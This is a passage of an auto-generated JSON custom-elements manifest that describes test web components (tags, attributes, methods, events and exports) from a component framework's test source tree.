\"CmpServerVsClient\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"cmp-server-vs-client\",\n          \"declaration\": {\n            \"name\": \"CmpServerVsClient\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/cmp-with-slot.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"cmp-with-slot\",\n          \"name\": \"CmpWithSlot\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"CmpWithSlot\",\n          \"declaration\": {\n            \"name\": \"CmpWithSlot\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"cmp-with-slot\",\n          \"declaration\": {\n            \"name\": \"CmpWithSlot\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/dom-api/dom-api.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"dom-api\",\n          \"name\": \"DomApi\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"DomApi\",\n          \"declaration\": {\n            \"name\": \"DomApi\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"dom-api\",\n          \"declaration\": {\n            \"name\": \"DomApi\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/dom-interaction/dom-interaction.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"dom-interaction\",\n          \"name\": \"DomInteraction\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"DomInteraction\",\n          \"declaration\": {\n            \"name\": \"DomInteraction\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"dom-interaction\",\n          \"declaration\": {\n            \"name\": \"DomInteraction\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/dom-visible/dom-visible.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"dom-visible\",\n          \"name\": \"DomVisible\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"DomVisible\",\n          \"declaration\": {\n            \"name\": \"DomVisible\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"dom-visible\",\n          \"declaration\": {\n            \"name\": \"DomVisible\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/dsd-listen-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"dsd-listen-cmp\",\n          \"name\": \"DsdListenCmp\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"DsdListenCmp\",\n          \"declaration\": {\n            \"name\": \"DsdListenCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"dsd-listen-cmp\",\n          \"declaration\": {\n            \"name\": \"DsdListenCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/element-cmp/element-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"element-cmp\",\n          \"name\": \"ElementCmp\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"ElementCmp\",\n          \"declaration\": {\n            \"name\": \"ElementCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"element-cmp\",\n          \"declaration\": {\n            \"name\": \"ElementCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/non-existent-element/empty-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"empty-cmp\",\n          \"name\": \"EmptyCmp\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"EmptyCmp\",\n          \"declaration\": {\n            \"name\": \"EmptyCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"empty-cmp\",\n          \"declaration\": {\n            \"name\": \"EmptyCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/non-existent-element/empty-cmp-shadow.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"empty-cmp-shadow\",\n          \"name\": \"EmptyCmpShadow\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"EmptyCmpShadow\",\n          \"declaration\": {\n            \"name\": \"EmptyCmpShadow\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"empty-cmp-shadow\",\n          \"declaration\": {\n            \"name\": \"EmptyCmpShadow\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/env-data/env-data.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"env-data\",\n          \"name\": \"EnvData\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"EnvData\",\n          \"declaration\": {\n            \"name\": \"EnvData\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"env-data\",\n          \"declaration\": {\n            \"name\": \"EnvData\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/event-cmp/event-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"event-cmp\",\n          \"name\": \"EventCmp\",\n          \"members\": [\n            {\n              \"kind\": \"method\",\n              \"name\": \"methodThatFiresEventWithOptions\",\n              \"description\": \"this is some method that fires an event with options\",\n              \"parameters\": [\n                {\n                  \"name\": \"mph\",\n                  \"description\": \"some value\",\n                  \"type\": {\n                    \"text\": \"number\",\n                    \"references\": [\n                      {\n                        \"name\": \"Promise\",\n                        \"package\": \"global:\"\n                      }\n                    ]\n                  }\n                }\n              ],\n              \"return\": {\n                \"type\": {\n                  \"text\": \"Promise<void>\",\n                  \"references\": [\n                    {\n                      \"name\": \"Promise\",\n                      \"package\": \"global:\"\n                    }\n                  ]\n                }\n              }\n            },\n            {\n              \"kind\": \"method\",\n              \"name\": \"methodThatFiresMyDocumentEvent\",\n              \"description\": \"this is some method that fires a document event\",\n              \"return\": {\n                \"type\": {\n                  \"text\": \"Promise<void>\",\n                  \"references\": [\n                    {\n                      \"name\": \"Promise\",\n                      \"package\": \"global:\"\n                    }\n                  ]\n                }\n              }\n            },\n            {\n              \"kind\": \"method\",\n              \"name\": \"methodThatFiresMyWindowEvent\",\n              \"description\": \"this is some method that fires a window event\",\n              \"parameters\": [\n                {\n                  \"name\": \"value\",\n                  \"description\": \"some value\",\n                  \"type\": {\n                    \"text\": \"number\",\n                    \"references\": [\n                      {\n                        \"name\": \"Promise\",\n                        \"package\": \"global:\"\n                      }\n                    ]\n                  }\n                }\n              ],\n              \"return\": {\n                \"type\": {\n                  \"text\": \"Promise<void>\",\n                  \"references\": [\n                    {\n                      \"name\": \"Promise\",\n                      \"package\": \"global:\"\n                    }\n                  ]\n                }\n              }\n            }\n          ],\n          \"events\": [\n            {\n              \"name\": \"my-event-with-options\",\n              \"type\": {\n                \"text\": \"CustomEvent<{ mph: number; }>\"\n              }\n            },\n            {\n              \"name\": \"myDocumentEvent\",\n              \"type\": {\n                \"text\": \"CustomEvent<any>\"\n              }\n            },\n            {\n              \"name\": \"myWindowEvent\",\n              \"type\": {\n                \"text\": \"CustomEvent<number>\"\n              }\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"EventCmp\",\n          \"declaration\": {\n            \"name\": \"EventCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"event-cmp\",\n          \"declaration\": {\n            \"name\": \"EventCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/scoped-hydration/non-shadow-slotted-siblings.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"hydrated-sibling-accessors\",\n          \"name\": \"HydratedSiblingAccessors\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"HydratedSiblingAccessors\",\n          \"declaration\": {\n            \"name\": \"HydratedSiblingAccessors\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"hydrated-sibling-accessors\",\n          \"declaration\": {\n            \"name\": \"HydratedSiblingAccessors\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/import-assets/import-assets.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"import-assets\",\n          \"name\": \"ImportAssets\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"ImportAssets\",\n          \"declaration\": {\n            \"name\": \"ImportAssets\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"import-assets\",\n          \"declaration\": {\n            \"name\": \"ImportAssets\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/listen-cmp/listen-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"listen-cmp\",\n          \"name\": \"ListenCmp\",\n          \"attributes\": [\n            {\n              \"name\": \"opened\",\n              \"type\": {\n                \"text\": \"boolean\"\n              },\n              \"default\": \"false\",\n              \"fieldName\": \"opened\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"opened\",\n              \"type\": {\n                \"text\": \"boolean\"\n              },\n              \"default\": \"false\",\n              \"attribute\": \"opened\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"ListenCmp\",\n          \"declaration\": {\n            \"name\": \"ListenCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"listen-cmp\",\n          \"declaration\": {\n            \"name\": \"ListenCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/method-cmp/method-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"method-cmp\",\n          \"name\": \"MethodCmp\",\n          \"attributes\": [\n            {\n              \"name\": \"some-prop\",\n              \"type\": {\n                \"text\": \"number\"\n              },\n              \"default\": \"0\",\n              \"fieldName\": \"someProp\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"someProp\",\n              \"type\": {\n                \"text\": \"number\"\n              },\n              \"default\": \"0\",\n              \"readonly\": true,\n              \"attribute\": \"some-prop\"\n            },\n            {\n              \"kind\": \"method\",\n              \"name\": \"someMethod\",\n              \"description\": \"this is some method\",\n              \"return\": {\n                \"type\": {\n                  \"text\": \"Promise<number>\",\n                  \"references\": [\n                    {\n                      \"name\": \"Promise\",\n                      \"package\": \"global:\"\n                    }\n                  ]\n                },\n                \"description\": \"some number\"\n              }\n            },\n            {\n              \"kind\": \"method\",\n              \"name\": \"someMethodWithArgs\",\n              \"description\": \"this is some method with args\",\n              \"parameters\": [\n                {\n                  \"name\": \"unit\",\n                  \"description\": \"some unit\",\n                  \"type\": {\n                    \"text\": \"string\",\n                    \"references\": [\n                      {\n                        \"name\": \"Promise\",\n                        \"package\": \"global:\"\n                      }\n                    ]\n                  }\n                },\n                {\n                  \"name\": \"value\",\n                  \"description\": \"some value\",\n                  \"type\": {\n                    \"text\": \"number\",\n                    \"references\": [\n                      {\n                        \"name\": \"Promise\",\n                        \"package\": \"global:\"\n                      }\n                    ]\n                  }\n                }\n              ],\n              \"return\": {\n                \"type\": {\n                  \"text\": \"Promise<string>\",\n                  \"references\": [\n                    {\n                      \"name\": \"Promise\",\n                      \"package\": \"global:\"\n                    }\n                  ]\n                },\n                \"description\": \"some string\"\n              }\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"MethodCmp\",\n          \"declaration\": {\n            \"name\": \"MethodCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"method-cmp\",\n          \"declaration\": {\n            \"name\": \"MethodCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/hydrate-props/my-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"my-cmp\",\n          \"name\": \"MyCmp\",\n          \"attributes\": [\n            {\n              \"name\": \"bar-prop\",\n              \"description\": \"bar prop\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"default\": \"'bar'\",\n              \"fieldName\": \"barProp\"\n            },\n            {\n              \"name\": \"foo-prop\",\n              \"description\": \"foo prop\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"fieldName\": \"fooProp\"\n            },\n            {\n              \"name\": \"mode\",\n              \"description\": \"Mode\",\n              \"type\": {\n                \"text\": \"any\"\n              },\n              \"fieldName\": \"mode\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"barProp\",\n              \"description\": \"bar prop\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"default\": \"'bar'\",\n              \"readonly\": true,\n              \"attribute\": \"bar-prop\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"fooProp\",\n              \"description\": \"foo prop\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"foo-prop\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"mode\",\n              \"description\": \"Mode\",\n              \"type\": {\n                \"text\": \"any\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"mode\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"MyCmp\",\n          \"declaration\": {\n            \"name\": \"MyCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"my-cmp\",\n          \"declaration\": {\n            \"name\": \"MyCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/hydrate-props/my-jsx-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"my-jsx-cmp\",\n          \"name\": \"MyJsxCmp\",\n          \"attributes\": [\n            {\n              \"name\": \"bar-prop\",\n              \"description\": \"bar prop\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"default\": \"'bar'\",\n              \"fieldName\": \"barProp\"\n            },\n            {\n              \"name\": \"foo-prop\",\n              \"description\": \"foo prop\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"fieldName\": \"fooProp\"\n            },\n            {\n              \"name\": \"mode\",\n              \"description\": \"Mode\",\n              \"type\": {\n                \"text\": \"any\"\n              },\n              \"fieldName\": \"mode\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"barProp\",\n              \"description\": \"bar prop\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"default\": \"'bar'\",\n              \"readonly\": true,\n              \"attribute\": \"bar-prop\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"fooProp\",\n              \"description\": \"foo prop\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"foo-prop\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"mode\",\n              \"description\": \"Mode\",\n              \"type\": {\n                \"text\": \"any\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"mode\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"MyJsxCmp\",\n          \"declaration\": {\n            \"name\": \"MyJsxCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"my-jsx-cmp\",\n          \"declaration\": {\n            \"name\": \"MyJsxCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/nested-child-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"nested-cmp-child\",\n          \"name\": \"NestedCmpChild\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"NestedCmpChild\",\n          \"declaration\": {\n            \"name\": \"NestedCmpChild\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"nested-cmp-child\",\n          \"declaration\": {\n            \"name\": \"NestedCmpChild\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/parent-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"nested-cmp-parent\",\n          \"name\": \"NestedCmpParent\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"NestedCmpParent\",\n          \"declaration\": {\n            \"name\": \"NestedCmpParent\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"nested-cmp-parent\",\n          \"declaration\": {\n            \"name\": \"NestedCmpParent\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/nested-scope-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"nested-scope-cmp\",\n          \"name\": \"NestedScopeCmp\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"NestedScopeCmp\",\n          \"declaration\": {\n            \"name\": \"NestedScopeCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"nested-scope-cmp\",\n          \"declaration\": {\n            \"name\": \"NestedScopeCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/scoped-hydration/non-shadow.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"non-shadow-child\",\n          \"name\": \"NonShadowChild\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"NonShadowChild\",\n          \"declaration\": {\n            \"name\": \"NonShadowChild\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"non-shadow-child\",\n          \"declaration\": {\n            \"name\": \"NonShadowChild\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/scoped-hydration/non-shadow-forwarded-slot.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"non-shadow-forwarded-slot\",\n          \"name\": \"NonShadowForwardedSlot\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"NonShadowForwardedSlot\",\n          \"declaration\": {\n            \"name\": \"NonShadowForwardedSlot\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"non-shadow-forwarded-slot\",\n          \"declaration\": {\n            \"name\": \"NonShadowForwardedSlot\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/scoped-hydration/non-shadow-multi-slots.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"non-shadow-multi-slots\",\n          \"name\": \"NonShadowMultiSlots\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"NonShadowMultiSlots\",\n          \"declaration\": {\n            \"name\": \"NonShadowMultiSlots\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"non-shadow-multi-slots\",\n          \"declaration\": {\n            \"name\": \"NonShadowMultiSlots\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/scoped-hydration/non-shadow-wrapper.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"non-shadow-wrapper\",\n          \"name\": \"NonShadowWrapper\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"NonShadowWrapper\",\n          \"declaration\": {\n            \"name\": \"NonShadowWrapper\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"non-shadow-wrapper\",\n          \"declaration\": {\n            \"name\": \"NonShadowWrapper\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/path-alias-cmp/path-alias-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"path-alias-cmp\",\n          \"name\": \"PathAliasCmp\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"PathAliasCmp\",\n          \"declaration\": {\n            \"name\": \"PathAliasCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"path-alias-cmp\",\n          \"declaration\": {\n            \"name\": \"PathAliasCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/prerender-cmp/prerender-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"prerender-cmp\",\n          \"name\": \"PrerenderCmp\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"PrerenderCmp\",\n          \"declaration\": {\n            \"name\": \"PrerenderCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"prerender-cmp\",\n          \"declaration\": {\n            \"name\": \"PrerenderCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/prop-cmp/prop-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"prop-cmp\",\n          \"name\": \"PropCmp\",\n          \"attributes\": [\n            {\n              \"name\": \"clothes\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"default\": \"'life preservers'\",\n              \"fieldName\": \"clothes\"\n            },\n            {\n              \"name\": \"first\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"fieldName\": \"first\"\n            },\n            {\n              \"name\": \"full-name\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"fieldName\": \"fullName\"\n            },\n            {\n              \"name\": \"last-name\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"fieldName\": \"lastName\"\n            },\n            {\n              \"name\": \"mode\",\n              \"description\": \"Mode\",\n              \"type\": {\n                \"text\": \"any\"\n              },\n              \"fieldName\": \"mode\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"clothes\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"default\": \"'life preservers'\",\n              \"readonly\": true,\n              \"attribute\": \"clothes\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"first\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"first\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"fullName\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"full-name\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"lastName\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"last-name\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"mode\",\n              \"description\": \"Mode\",\n              \"type\": {\n                \"text\": \"any\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"mode\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"PropCmp\",\n          \"declaration\": {\n            \"name\": \"PropCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"prop-cmp\",\n          \"declaration\": {\n            \"name\": \"PropCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/resolve-var-events/resolve-var-events.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"resolve-var-events\",\n          \"name\": \"ResolveVarEvents\",\n          \"members\": [\n            {\n              \"kind\": \"method\",\n              \"name\": \"emitMyEvent\",\n              \"return\": {\n                \"type\": {\n                  \"text\": \"Promise<void>\",\n                  \"references\": [\n                    {\n                      \"name\": \"Promise\",\n                      \"package\": \"global:\"\n                    }\n                  ]\n                }\n              }\n            },\n            {\n              \"kind\": \"method\",\n              \"name\": \"emitOtherEvent\",\n              \"return\": {\n                \"type\": {\n                  \"text\": \"Promise<void>\",\n                  \"references\": [\n                    {\n                      \"name\": \"Promise\",\n                      \"package\": \"global:\"\n                    }\n                  ]\n                }\n              }\n            }\n          ],\n          \"events\": [\n            {\n              \"name\": \"myEvent\",\n              \"type\": {\n                \"text\": \"CustomEvent<any>\"\n              }\n            },\n            {\n              \"name\": \"otherEvent\",\n              \"type\": {\n                \"text\": \"CustomEvent<any>\"\n              }\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"ResolveVarEvents\",\n          \"declaration\": {\n            \"name\": \"ResolveVarEvents\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"resolve-var-events\",\n          \"declaration\": {\n            \"name\": \"ResolveVarEvents\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/ssr-runtime-decorators/ssr-runtime-decorators.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"runtime-decorators\",\n          \"name\": \"RuntimeDecorators\",\n          \"attributes\": [\n            {\n              \"name\": \"basic-prop\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"default\": \"'basicProp'\",\n              \"fieldName\": \"basicProp\"\n            },\n            {\n              \"name\": \"decorated-getter-setter-prop\",\n              \"type\": {\n                \"text\": \"number\"\n              },\n              \"fieldName\": \"decoratedGetterSetterProp\"\n            },\n            {\n              \"name\": \"decorated-prop\",\n              \"type\": {\n                \"text\": \"number\"\n              },\n              \"default\": \"-10\",\n              \"fieldName\": \"decoratedProp\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"basicProp\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"default\": \"'basicProp'\",\n              \"readonly\": true,\n              \"attribute\": \"basic-prop\",\n              \"reflects\": true\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"decoratedGetterSetterProp\",\n              \"type\": {\n                \"text\": \"number\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"decorated-getter-setter-prop\",\n              \"reflects\": true\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"decoratedProp\",\n              \"type\": {\n                \"text\": \"number\"\n              },\n              \"default\": \"-10\",\n              \"readonly\": true,\n              \"attribute\": \"decorated-prop\",\n              \"reflects\": true\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"RuntimeDecorators\",\n          \"declaration\": {\n            \"name\": \"RuntimeDecorators\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"runtime-decorators\",\n          \"declaration\": {\n            \"name\": \"RuntimeDecorators\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/scoped-car-detail.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"scoped-car-detail\",\n          \"name\": \"ScopedCarDetail\",\n          \"attributes\": [\n            {\n              \"name\": \"car\",\n              \"type\": {\n                \"text\": \"CarData\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"fieldName\": \"car\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"car\",\n              \"type\": {\n                \"text\": \"CarData\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"readonly\": true,\n              \"attribute\": \"car\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"ScopedCarDetail\",\n          \"declaration\": {\n            \"name\": \"ScopedCarDetail\"\n          }\n        },\n        